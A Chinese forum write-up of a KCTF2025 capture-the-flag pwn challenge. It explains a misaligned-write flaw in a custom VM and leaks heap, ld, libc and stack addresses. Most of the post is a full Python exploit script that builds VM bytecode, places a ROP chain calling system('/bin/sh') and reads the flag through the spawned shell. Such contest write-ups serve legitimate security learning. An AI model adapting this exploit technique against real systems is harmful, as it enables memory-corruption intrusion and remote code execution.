-
-
[原创]KCTF2025 第八题 暗云涌动 WriteUp
-
发表于: 2025-8-30 14:57 275
-
指令长度为8的vm,结构体还原后如下:
在store和load之前会校验地址的最高位是不是1,如果不是则跳过,所有对寄存器的操作都会判断结果是否在data段内或者stack段内,如果不在则会清空最高位。校验代码如下:

这里有一个漏洞,他只判断传入地址是否在这两个段内,没有判断是否是8字节对齐的,因此我们可以构造出一个错位的写,将被清空的最高位重新写为1,从而达成恶意地址写。
还有一个问题是如何泄漏地址?
sub_128B函数如果检测到地址非法,它会返回data段的基地址,唯一合法的情况是0x200000—0x201000和stack所在的堆地址。因此,我们可以通过从0x550000000320开始便利,如果返回的地址不是0x200000则可以说明已经爆破出堆地址。
后续就是通过vm_globle中的code字段的地址泄漏ld地址,然后从ld的bss段中找到一个libc的函数从而泄漏libc地址。
最后通过environ泄漏栈地址,将ROP链写入store函数返回处执行system即可。
```
#!/usr/bin/env python3
# Date: 2025-08-29 15:19:34
# Link: a4cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6d9L8$3c8W2M7X3W2U0K9@1y4Z5j5h3&6Q4x3V1k6H3N6$3&6U0L8r3V1`.
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
cli_script()
set_remote_libc('libc.so-2.6')
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)
def arg2reg(idx, data):
return p8(5)+p8(idx)+p8(0)+p8(0)+p32(data)
def reg2reg(idx, idx1):
return p8(4)+p8(idx)+p8(idx1)+p8(0)+p32(0)
def reg_xor_arg(idx, val):
return p8(0x10)+p8(idx)+p8(0)+p8(0)+p32(val)
def jmp(idx, idx1, addr):
return p8(0x18)+p8(idx)+p8(idx1)+p8(0)+p32(addr)
def pop(idx):
return p8(3)+p8(idx)+p8(0)+p8(0)+p32(0)
def push_arg_with_head(val):
return p8(2)+p8(0)+p8(0)+p8(0)+p32(val)
def push_arg(val):
return p8(1)+p8(0)+p8(0)+p8(0)+p32(val)
def mul_arg(idx, val):
return p8(0xb)+p8(idx)+p8(0)+p8(0)+p32(val)
def mul_reg(idx, idx1):
return p8(0xa)+p8(idx)+p8(idx1)+p8(0)+p32(0)
def add_reg(idx, idx1):
return p8(6)+p8(idx)+p8(idx1)+p8(0)+p32(0)
def add_arg(idx, val):
return p8(7)+p8(idx)+p8(0)+p8(0)+p32(val)
def sub_reg(idx, idx1):
return p8(8)+p8(idx)+p8(idx1)+p8(0)+p32(0)
def sub_arg(idx, val):
return p8(9)+p8(idx)+p8(0)+p8(0)+p32(val)
def and_reg(idx, idx1):
return p8(0xe)+p8(idx)+p8(idx1)+p8(0)+p32(0)
def and_arg(idx, val):
return p8(0xf)+p8(idx)+p8(0)+p8(0)+p32(val)
def div_reg(idx, idx1):
return p8(0xc)+p8(idx)+p8(idx1)+p8(0)+p32(0)
def div_arg(idx, val):
return p8(0xd)+p8(idx)+p8(0)+p8(0)+p32(val)
def exit():
return p8(0x19)+p8(0)+p8(0)+p8(0)+p32(0)
def store(idx, idx1):
return p8(0x15)+p8(idx)+p8(idx1)+p8(0)+p32(0)
def load(idx, idx1):
return p8(0x14)+p8(idx)+p8(idx1)+p8(0)+p32(0)
def jb(idx, idx1, val):
return p8(0x17)+p8(idx)+p8(idx1)+p8(0)+p32_ex(val)
def je(idx, idx1, val):
return p8(0x18)+p8(idx)+p8(idx1)+p8(0)+p32_ex(val)
heap_start = 0x550000000000
code = b''
# code += push_arg_with_head(0xdeadbeef)
# code += pop(0)
# code += add_arg(0, 8)
# code += mul_arg(0, 0x2A800000)
code += arg2reg(0, 0x800055)
code += arg2reg(1, 0x1000000)
code += arg2reg(2, 0x10000)
code += mul_reg(0, 1)
code += mul_reg(0, 2)
code += arg2reg(3, 0xabcd)
code += arg2reg(4, 0xf0000000)
code += mul_arg(4, 0x1000)
code += arg2reg(5, 0x328)
code += arg2reg(6, 0)
code += push_arg_with_head(0xdeadbeef)
code += pop(2)
code += add_arg(5, 0x1000)
code += reg2reg(1, 0)
code += add_reg(1, 5)
code += store(1, 3)
code += load(7, 2)
code += je(3, 7, 1)
code += jb(6, 4, 2) # jmp
code += store(2, 6)
code += jb(5, 4, -9)
code += push_arg_with_head(0xdeadbeef)
code += push_arg_with_head(0xdeadbeef)
code += reg2reg(0, 1)
code += store(0, 1)
code += sub_arg(1, 7)
code += arg2reg(3, 7)
code += and_arg(3, 0xffff)
code += mul_arg(3, 0x100000)
code += mul_arg(3, 0x100000)
code += mul_arg(3, 0x10000)
code += store(1, 3)
code += pop(2)
code += reg2reg(6, 0)
code += mul_arg(6, 0x100)
code += div_arg(6, 0x100)
code += sub_arg(6, 0x70)
code += arg2reg(5, 0x80)
code += store(2, 5)
# libc_base
code += load(3, 6)
code += add_arg(3, 0x3020)
code += reg2reg(6, 3)
code += store(2, 5)
code += load(3, 6)
code += sub_arg(3, 0x174960)
# environ
code += reg2reg(4, 3)
code += add_arg(4, 0x222200)
code += reg2reg(6, 4)
code += store(2, 5)
# stack
code += load(0, 6)
# rop 1
code += reg2reg(6, 0)
code += sub_arg(6, 0x158)
code += div_reg(7, 5)
code += store(2, 5)
code += reg2reg(1, 3)
# bin_sh
code += add_arg(1, libc.search(b'/bin/sh\x00').__next__())
code += store(6, 1)
# rop 2
code += reg2reg(6, 0)
code += sub_arg(6, 0x150)
code += store(2, 5)
code += reg2reg(1, 3)
# whatever
code += add_arg(1, 0)
code += store(6, 1)
# rop 3
code += reg2reg(6, 0)
code += sub_arg(6, 0x148)
code += store(2, 5)
code += reg2reg(1, 3)
# system
code += add_arg(1, libc.symbols['system'])
code += store(6, 1)
# rop 4
code += reg2reg(6, 0)
code += sub_arg(6, 0x160)
code += store(2, 5)
code += reg2reg(1, 3)
# pop rdi
code += add_arg(1, 0x000000000002a745)
code += store(6, 1)
code += exit()
# stop()
s(code)
sleep(1)
sl("ls")
sl("cat flag.txt")
sl("cat flag")
sl("cat /flag")
ia()
```
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!